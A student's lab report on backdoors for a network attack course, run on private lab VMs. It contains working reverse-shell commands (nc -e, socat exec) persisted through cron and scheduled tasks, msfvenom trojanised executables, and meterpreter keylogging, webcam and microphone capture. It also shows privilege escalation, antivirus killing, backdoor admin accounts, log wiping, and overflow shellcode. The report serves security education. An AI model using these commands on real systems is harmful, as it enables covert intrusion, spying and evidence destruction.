后门

发布时间 2023-03-23 22:52:08作者: 郭幸坤

实 验 报 告

课程:网络对抗技术

班级:2012 姓名:郭幸坤 学号:20201213

实验名称:后门原理与实践 实验日期:2023.3.20


实验目的

  1. 了解网络后门的原理与危害。
  2. 学会使用 netcat 、socat 获取主机 shell
  3. 理解 TCP 反弹 shell 的原理
  4. 初步掌握 metasploit 的使用

实验内容

  1. 使用netcat获取主机操作Shell,cron启动
  2. 使用socat获取主机操作Shell, 任务计划启动
  3. 使用MSF meterpreter 生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  4. 使用MSF meterpreter 生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  5. 使用MSF生成shellcode 注入到实践1中的pwn1中,获取反弹连接Shell

实验过程

(一)使用netcat获取主机操作Shell,cron启动

思路:

  1. 攻击者 持续监听 1213 端口
  2. 受害者 cron 添加定时任务,定时反向连接攻击者的1213 端口

过程:

攻击者 Windows 10 IP :192.168.1.100

受害者 Kali IP :192.168.1.101

  • windows 使用natcat监听1213 端口
ncat.exe -lvp 1213 
  • kali 使用nc命令测试连通性
nc 192.168.1.100 1213  -e /bin/sh

可以连通

  • kali添加定时任务,执行nc命令,连接windows攻击者
crontab -e

48 * * * * nc 192.168.1.100 1213 -e /bin/sh
  • windows用ncat监听1213 端口,等待每小时的48分,受害者kali主动连接自己

(二)使用socat获取主机操作Shell, 任务计划启动

思路:

  1. 攻击者kali使用socat监听1213 端口
  2. 受害者windows在任务启动计划中添加定时任务,定时主动连接kali的1213 端口

过程:

攻击者 Windows 10 IP :192.168.1.100

受害者 Kali IP :192.168.1.101

  • kali监听1213 端口
socat tcp-listen:1213 -
  • 测试连通性
Windows

socat.exe TCP:192.168.1.101:1213 exec:cmd.exe   //报错,管道不存在

socat.exe tcp:192.168.1.101:1213 exec:cmd.exe,pty,stderr 

可以连通

由于我的路径中有一些中文,显示出来成了乱码……

  • windows添加定时任务,主动连接攻击者kali
Win+R compmgmt.msc

在系统工具中,找到任务计划程序,点击右侧的创建任务

常规设置:任务名

触发器:设置成一次吧

操作:设置成 C:\Users\doxide\Desktop\socat\socat.exe

      参数 tcp:192.168.1.101:1213 exec:cmd.exe,pty,stderr

其他保持默认即可

  • kali监听1213 端口,等待windows的主动连接

  • windows弹出警告

    socat 744 find_fast_cwd: WARNING: Couldn't compute FAST_CWD pointer.
    

    忽略即可。一般来说,这个警告不是一个严重的问题,它并不表示实用程序socat本身有任何问题。它只是一个警告,说明 Fast_CWD 功能未用于相关的特定进程。如果socat运行正常,您可以安全地忽略此警告。

(三)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

思路:

  1. kali ncat 监听,Win10 ncat连接 kali ,将hello.exe发送给kali
  2. kali 接收 hello.exe 并使用 msfvenom 植入反弹shell的后门
  3. kali ncat 监听,将毒化后的hello.exe 发送给连接者 Win10
  4. kali 进入msfconsole控制台,监听端口,等待Win10运行有毒的 hello.exe 连接自己,从而获得shell

过程

在Kali上生成后门可执行程序hack.exe

过程

kali接受windows的文件

kali毒化hack.exe

msfvenom -p windows/meterpreter/reverse_tcp -x ./hack.exe -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.101 LPORT=1213 -f exe > hack1213.exe

//这个后来windows会显示不能运行。其实不应该encoder,因为windows没有decoder,payload会没办法运行,我觉得是这样
//由于不是缓冲区溢出攻击,也没必要绕过字符串的00截断
//加上-k参数,保持原来程序的功能,改成

msfvenom -p windows/meterpreter/reverse_tcp -k -x ./hack.exe LHOST=192.168.1.101 LPORT=1213 -f exe > hack1213.exe

//还是不能运行
//后来发现是 ncat 传文件没传完整,要耐心等待......
//然后加上encoder也是可以正常运行的
//-k 参数有点问题,在windows运行报错了
//最后确定用下面这个

msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp -x ./hack.exe -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.101 LPORT=1213 -f exe > hack1213.exe


或者

//单纯的后门,没有原来程序的功能
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=1213 -f exe > hack1213.exe

kali把有毒的hack.exe 传回给windows

kali进入msf控制台,准备监听来自windows的反弹shell连接

在kali上使用msfconsole指令进入msf控制台

对msf控制台进行配置,依次输入以下命令

use exploit/multi/handler		        #使用监听模块
set payload windows/meterpreter/reverse_tcp     #使用与windows后门相同的payload
set LHOST 192.168.28.133			#Kali ip
set LPORT 1213                              #kali port 

run

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.199.126
set LPORT 1213
run

windows运行带有后门的程序,kali msfconsole获得session

(四)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

思路:

  1. 在上一步攻击成功的基础上,获得session之后,使用相应指令,即可完成 录音、摄像头、击键记录、截屏等功能
  2. 在获得 session 的基础上,POST 模块提权。

过程:

  1. 获取 录音、摄像头、击键记录、截屏
record_mic -d 5      //录音 5 秒

webcam_list          //列出网络摄像头        //没有
webcam_snap          //用摄像头拍照

keyscan_start        //开始记录键盘
keyscan_dump         //显示捕获到的键盘记录
keyscan_stop         //停止记录键盘

screenshare          //生成一个html,用浏览器打开,可以实时获取屏幕信息
screenshot           //获取截屏

  1. POST 模块提权

方法一:先试一下直接getsystem能不能行

getsystem          //报错了

getuid

方法二:尝试利用其它漏洞提权

search ms16 arch:x64
                                                                                                                                                                                                     
Matching Modules
================

   #  Name                                                       Disclosure Date  Rank    Check  Description
   -  ----                                                       ---------------  ----    -----  -----------
   0  exploit/windows/browser/ms16_051_vbscript                  2016-05-10       normal  No     Internet Explorer 11 VBScript Engine Memory Corruption
   1  exploit/windows/fileformat/office_ole_multiple_dll_hijack  2015-12-08       normal  No     Office OLE Multiple DLL Side Loading Vulnerabilities
   2  exploit/windows/local/ms16_075_reflection                  2016-01-16       normal  Yes    Windows Net-NTLMv2 Reflection DCOM/RPC
   3  exploit/windows/local/ms16_075_reflection_juicy            2016-01-16       great   Yes    Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)
   4  exploit/windows/local/ms16_014_wmi_recv_notif              2015-12-04       normal  Yes    Windows WMI Receive Notification Exploit

//都不行
//换一个
use post/windows/escalate/ms10_073_kbdlayout              //也不行,Windows 10 (10.0 Build 10240). is not vulnerable.

//看来win10还是有些东西

方法三:盗取令牌

meterpreter > use incognito //进入这个模块
meterpreter > list_tokens –u //查看存在的令牌
meterpreter > impersonate_token NT AUTXXXX\SYSTEM //令牌是DelegationTokens一列,getuid查看,两个斜杠
//失败

方法四:Bypassuac

use exploit/windows/local/bypassuac

//失败 Windows 10 (10.0 Build 10240). is not vulnerable.

方法五:Hash

use post/windows/gather/smart_hashdump

//失败,权限不够

方法六:添加服务

use exploit/windows/local/service_permissions          //失败
    
search service arch:x64 platform:windows

Matching Modules
================

   #   Name                                                               Disclosure Date  Rank       Check  Description
   -   ----                                                               ---------------  ----       -----  -----------
   0   exploit/windows/local/applocker_bypass                             2015-08-03       excellent  No     AppLocker Execution Prevention Bypass
   1   exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move       2020-03-10       excellent  Yes    Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability
   2   exploit/windows/local/cve_2020_17136                               2020-03-10       normal     Yes    CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP
   3   exploit/windows/local/anyconnect_lpe                               2020-08-05       excellent  Yes    Cisco AnyConnect Privilege Escalations (CVE-2020-3153 and CVE-2020-3433)
   4   exploit/multi/misc/osgi_console_exec                               2018-02-13       normal     Yes    Eclipse Equinox OSGi Console Command Execution
   5   exploit/multi/misc/freeswitch_event_socket_cmd_exec                2019-11-03       excellent  Yes    FreeSWITCH Event Socket Command Execution
   6   exploit/windows/local/gog_galaxyclientservice_privesc              2020-04-28       excellent  Yes    GOG GalaxyClientService Privilege Escalation
   7   exploit/windows/smb/generic_smb_dll_injection                      2015-03-04       manual     No     Generic DLL Injection From Shared Resource
   8   exploit/windows/http/generic_http_dll_injection                    2015-03-04       manual     No     Generic Web Application DLL Injection
   9   exploit/windows/misc/hp_dataprotector_cmd_exec                     2014-11-02       excellent  Yes    HP Data Protector 8.10 Remote Command Execution
   10  exploit/multi/misc/java_jdwp_debugger                              2010-03-12       good       Yes    Java Debug Wire Protocol Remote Code Execution
   11  exploit/windows/smb/smb_relay                                      2001-03-31       excellent  No     MS08-068 Microsoft Windows SMB Relay Code Execution
   12  exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077  2021-09-16       excellent  Yes    ManageEngine ServiceDesk Plus CVE-2021-44077
   13  exploit/windows/local/nvidia_nvsvc                                 2012-12-25       average    Yes    Nvidia (nvsvc) Display Driver Service Local Privilege Escalation
   14  exploit/windows/fileformat/office_ole_multiple_dll_hijack          2015-12-08       normal     No     Office OLE Multiple DLL Side Loading Vulnerabilities
   15  exploit/windows/http/oracle_endeca_exec                            2013-07-16       excellent  Yes    Oracle Endeca Server Remote Command Execution
   16  exploit/windows/local/current_user_psexec                          1999-01-01       excellent  No     PsExec via Current User Token
   17  exploit/windows/local/bits_ntlm_token_impersonation                2019-12-06       great      Yes    SYSTEM token impersonation through NTLM bits authentication on missing WinRM Service.
   18  exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec                2021-07-07       good       Yes    Sage X3 Administration Service Authentication Bypass Command Execution
   19  exploit/windows/misc/webdav_delivery                               1999-01-01       manual     No     Serve DLL via webdav server
   20  exploit/windows/http/sitecore_xp_cve_2021_42237                    2021-11-02       excellent  Yes    Sitecore Experience Platform (XP) PreAuth Deserialization RCE
   21  exploit/windows/winrm/winrm_script_exec                            2012-11-01       manual     No     WinRM Script Exec Remote Code Execution
   22  exploit/windows/local/service_permissions                          2012-10-15       great      No     Windows Escalate Service Permissions Local Privilege Escalation
   23  exploit/windows/local/ms16_075_reflection                          2016-01-16       normal     Yes    Windows Net-NTLMv2 Reflection DCOM/RPC
   24  exploit/windows/local/ms16_075_reflection_juicy                    2016-01-16       great      Yes    Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)

尝试了十几个一下,好像都不太行

唉,不能操之过急,还是先信息搜集吧

run post/multi/recon/local_exploit_suggester        //先漏洞扫描一波

run post/multi/gather/env                          //收集系统信息

run post/windows/gather/checkvm`                   //看看是不是虚拟机

run post/windows/gather/forensics/enum_drives      //看眼磁盘分区

run post/windows/gather/enum_services              //看看开了什么服务

run post/windows/gather/enum_applications          //看看应用软件

run post/windows/gather/dumplinks                  //看看最近的操作

run post/windows/gather/enum_logged_on_users        //看看登录的用户

run post/windows/gather/enum_snmp                  //看看有没有snap服务


//也看不出来有什么漏洞......

看来 微软 还是很厉害的,只能提权 win7 了

run killav

getsystem                  //失败

run post/multi/recon/local_exploit_suggester 

[+] 192.168.1.100 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/cve_2020_1054_drawiconex_lpe: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/ms16_014_wmi_recv_notif: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.

background

use exploit/windows/local/bypassuac_sdclt、options、set、run    //拿到了一个新的会话,但是没有管理员权限

use exploit/windows/local/ms16_014_wmi_recv_notif        //拿到了管理员权限

getsystem      //[-] Already running as SYSTEM

getuid         //Server username: NT AUTHORITY\SYSTEM

shell

chcp 65001

net user hacker hacker /add

net localgroup administrators hacker /add      //成功添加hacker用户为管理员

exit

clearev        //清楚入侵痕迹

打开win7的控制面板,可以看到新添加的hacker管理员

经过win7提权,发现之前win10提权有致命的问题,kali的端口没开对,改下端口和防火墙重新尝试提权

run killav

run post/multi/recon/local_exploit_suggester

[+] 192.168.1.100 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/cve_2020_1048_printerdemon: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/cve_2020_1337_printerdemon: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.

use exploit/windows/local/bypassuac_dotnet_profiler

getsystem      //...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

getuid         //Server username: NT AUTHORITY\SYSTEM

shell

chcp 65001

net user hacker hacker /add

net localgroup administrators hacker /add      //成功添加hacker用户为管理员

exit

clearev        //清楚入侵痕迹

成功在 win10 添加 hacker 管理员

(五)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

思路:

  1. 生成shellcode
  2. MSF监听
  3. 注入pwn1,反弹shell
  4. 远程注入Ubuntu

过程:

  1. 使用msfvenom生成shellcode

先找一个合适的payload

msfvenom -l payloads | grep linux | grep x86 | grep tcp | grep reverse

    linux/x86/meterpreter/reverse_ipv6_tcp              Inject the mettle server payload (staged). Connect back to attacker over IPv6
    linux/x86/meterpreter/reverse_nonx_tcp              Inject the mettle server payload (staged). Connect back to the attacker
    linux/x86/meterpreter/reverse_tcp                   Inject the mettle server payload (staged). Connect back to the attacker
    linux/x86/meterpreter/reverse_tcp_uuid              Inject the mettle server payload (staged). Connect back to the attacker
    linux/x86/meterpreter_reverse_tcp                   Run the Meterpreter / Mettle server payload (stageless)
    linux/x86/metsvc_reverse_tcp                        Stub payload for interacting with a Meterpreter Service
    linux/x86/shell/reverse_ipv6_tcp                    Spawn a command shell (staged). Connect back to attacker over IPv6
    linux/x86/shell/reverse_nonx_tcp                    Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell/reverse_tcp                         Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell/reverse_tcp_uuid                    Spawn a command shell (staged). Connect back to the attacker
    linux/x86/shell_reverse_tcp                         Connect back to attacker and spawn a command shell
    linux/x86/shell_reverse_tcp_ipv6                    Connect back to attacker and spawn a command shell over IPv6

//本次shellcode不能有 \x00和\x0a  使用-b参数

//试一下 linux/x86/meterpreter/reverse_tcp

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=1213 -b '\x00\x0a' -f c 

//把生成的shellcode放到C代码中进行验证
//gcc -m32 ; exestack -s;
//能短暂连接上msfconsole的监听并生成会话,但会立即爆出段错误退出。

===========================================================================================================

//排查是否是 64 位的问题
//试一下 linux/x64/meterpreter/reverse_tcp

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=1213 -b '\x00\x0a' -f c 

//C语言运行shellcode,还是一样的短暂连接,爆段错误
//64位也爆段错误,可能是payload的问题

===========================================================================================================

//多换几个payload

msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LPORT=1213 -b '\x00\x0a' -f c                              //失败

msfvenom -p linux/x86/metsvc_reverse_tcp LHOST=192.168.1.101 LPORT=1213 -e x86/shikata_ga_nai -b '\x00\x0a' -f c       //失败

msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.1.101 LPORT=1213 -b '\x00\x0a' -f c                         //失败

msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.1.101 LPORT=1213 -e x86/shikata_ga_nai -b '\x00\x0a' -f c   //失败

//编码与否不影响shellcode的正常执行  -e x86/shikata_ga_nai

msfvenom -p linux/x86/meterpreter/reverse_tcp_uuid LHOST=192.168.1.101 LPORT=1213 -b '\x00\x0a' -f c                   //失败

===========================================================================================================

//看来不是payload的问题
//后知后觉,msfvenom的payload换了,mfs监听的payload没换
//重新尝试

msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LPORT=1213 -e x86/shikata_ga_nai -i 5 -b '\x00\x0a' -f c

//可以了

  1. 注入1213 pwn

实验一的缓冲区溢出攻击的准备工作就略过了

返回应地址覆盖为 0xffffd170

perl -e 'print "A" x 32;print "\x70\xd1\xff\xff";print "\xbf\xf7\x44\x67\x81\xd9\xcc\xd9\x74\x24\xf4\x5d\x33\xc9\xb1\x3a\x31\x7d\x15\x03\x7d\x15\x83\xed\xfc\xe2\x02\xff\xc0\x23\xd0\x76\xd5\xff\xf1\x03\xcd\x0b\x5c\xdd\xc4\x45\x6a\x2c\x8a\xb7\x11\xa3\xc8\xbb\xef\x90\xef\x3f\xd2\xb0\xae\x38\xaa\xce\xcb\xe1\x3e\x44\x5d\x10\xe1\x40\x65\x8a\x33\x90\x59\x51\x63\x57\x58\xb1\xab\x33\x78\x02\xc1\x52\xe0\x0e\x46\x23\x8a\xd8\x92\x12\xcf\x6e\x36\x59\xbc\xe9\x7a\xf7\x73\xfc\xe6\x87\xb6\x3e\x4a\x1c\xed\x36\x33\xed\xae\x90\x5d\xf3\x94\xb1\x2d\xad\x17\x37\x75\xb8\x1d\x06\xdf\xf6\x1c\x8a\x8e\x84\xa3\xa7\xeb\xbd\x0b\x76\x46\x04\xbd\x04\xdf\x97\xe4\x3b\x2a\x26\x6d\x2f\xc2\x92\xea\xfe\x92\x14\x93\xea\x77\x04\xa2\xd6\x84\xca\xe3\xc2\xa3\x29\x68\xd0\xe5\x78\xeb\x1d\xb7\x86\x04\xee\x57\xf3\xaf\x7f\xf0\x97\x72\xf1\x6c\xe8\xd0\x9c\xc6\x45\x6d\xba\x41\x07\x6c\xf9\x0b\xf6\x09\xc3\x79\x03\x66\x4a\x7e\x7b\x01\x4c\x23\x57\xc3\x11\xca\xd8\xde\x1e\x04\xaa\xbf\x18\x85\x66\xc3\x19\xb7\x93\x2d\xd4\x59\x61\x64\x26\x65\x33\x15\x27\xe1\xf0\xab\xd4\x53\xad\x7b\xe9\x69\x4f\xd7\xe4\x11\x69\x4a\x9c\xf1\xd2\x93\x57"'> hack2.bin

(cat hack2.bin ; cat)| ./1213 pwn

//段错误

GDB attach一下,layout asm ; x/16x 0xffffd170

//shellcode确实写进去了,eip也成功跳转了
  1. 错误排查
1. 是否是编码问题?        //删除-e参数,再来一遍,还是不行

2. 是否是payload问题?    //换一个,linux/x86/meterpreter/reverse_tcp 还是不行

3. 是否是 -b 的问题?     //反汇编一下有-b 的shellcode,再反汇编一下没有-b 的shellcode

//发现,这两个的汇编语言差距有些大,没有-b参数的汇编明显更合理一些。猜测-b参数可能对shellcode进行了转换,而转换之后不能直接用于缓冲区溢出攻击。

//寻寻觅觅,发现linux/x86/meterpreter/reverse_nonx_tcp的名字挺有意思的,不会是生成的shellcode没有\x00的意思吧?

4. 尝试payload换成linux/x86/meterpreter/reverse_nonx_tcp    //生成shellcode一看,果然没有0x00;再反汇编一看,汇编也挺合理。

//而且和我实验一写的 tcp反弹shellcode比较相似。

//我实验一的 tcp反弹shellcode 是可以配合 MSF或nc 攻击成功的

//预感这次没问题
  1. 高兴地拿新的shellcode注入1213 pwn
perl -e 'print "A" x 32;print "\x7d\x84\x04\x08";print "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x90\x97\x66\x68\x04\xb6\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"'> hack2.bin

//msfconsole 监听

(cat hack2.bin ;cat) | ./1213pwn

//成功!!!

实验体会

​ 本次实验踩了不少的坑,而且网上也搜不到相关的解决办法,在这四面楚歌的情况下,我还是想把实验完完本本地做出来。尤其是在 POST 模块 win10 提权,和 msfvenom 生成 shellcdoe 注入 pwn1 的实验中,我看到不少同学没怎么尝试 win10 的提权,不能缓冲区溢出攻击注入shellcode,就直接毒化ELF文件,但是我不想这样。

​ 我回想了一下老师上课说的排查问题的方法,并有意识地运用到本次实验中。所幸基础知识比较扎实,通过不断控制单一变量的方法,不断尝试,还真的解决了一些问题。同时进一步认识到,查看官方手册 和 使用help 是重要的学习途径,当然这要建立在有了一定的经验和理解的基础上。

​ 这次能用msfvenom生成能缓冲区溢出的shellcode,也是建立在实验一的基础上。如果没有亲手写过execve nc 反弹shell的汇编的话,也许永远也发现不了 加了-b 参数的shellcode是不太对劲的,也就不会想到linux/x86/shell/reverse_nonx_tcp可能是大佬留下的没有0x00截断的shellcode,也就不会多次尝试这个payload。其他的 payload 不是有 0x00 就是有 0x0a ,加了 -b 又不能正常缓冲区溢出成功。

​ 不得不说知识的相互交叉,还真是奇妙。

借鉴前人的经验也非常重要,在其他完成类似实验的博客中,有人这么说道

​ 实验最开始还有一个小插曲,cron 选编辑器,看到官方标注nano最简单,然后选了nano,结果不是图形化的界面,也没vim用得熟悉,就想换成vim,结果换不了...差点吐血...还好发现了select-editor命令,设置用户的优先编辑器为vim,然后重启cron就是vim编辑了。

于是果断避雷,第一次就选择vim,避免了许多麻烦。

基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

  1. 下载非官方软件。
  2. 网站漏洞。比如说我如果把自己的小破网站开起来,就会存在 文件上传漏洞啊,SQL注入漏洞啊,XSS啊...
    利用漏洞写个后门,在拿个菜刀蚁剑连接还是轻轻松松的。
  3. SSH弱口令。不少机器都是开了SSH远程登录的,弱口令爆破。
  4. 主动插入带毒的U盘,或者别人趁我不注意,插入带毒的U盘

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  1. windows
  • 开机自启动
  • 注册表启动
  • 定时任务管理器
  • 配合其他漏洞,如远程命令执行
  • 网站直接访问。比如已经成功写入了PHP的一句话木马,直接访问就可以了,菜刀蚁剑也可以。
  1. linux
  • cron定时任务
  • 运行带后门的程序
  • 配合其他漏洞,如远程命令执行
  • 网站直接访问。比如已经成功写入了PHP的一句话木马,直接访问就可以了,菜刀蚁剑也可以。

(3)Meterpreter有哪些给你映像深刻的功能?

  1. 功能强。

    集成了很多模块,从信息搜集,到花式渗透攻击,再到提权,全都有对应的功能模块。

  2. 入门快。

    search,use ,set ,options,run,session,基本就可以用起来了。

  3. 精通难。

    要成功利用漏洞,就必须要知道漏洞的细节和原理。如果只是稀里糊涂地、浅尝辄止地攻击,msf那么多功能放在那也是白搭。
    我在本次实验中也体会到了,即使凑巧选对了 payload,不根据实际情况进行调整,也是不会轻易成功的。

(4)如何发现自己有系统有没有被安装后门?

  1. 杀毒软件
  2. 异常开启的端口
  3. 流量分析
  4. 检查定时任务
  5. 系统莫名其妙地出现异常、风扇异常响起、内存突然增加......
  6. 手工检查 任务管理器 、启动项 、注册表......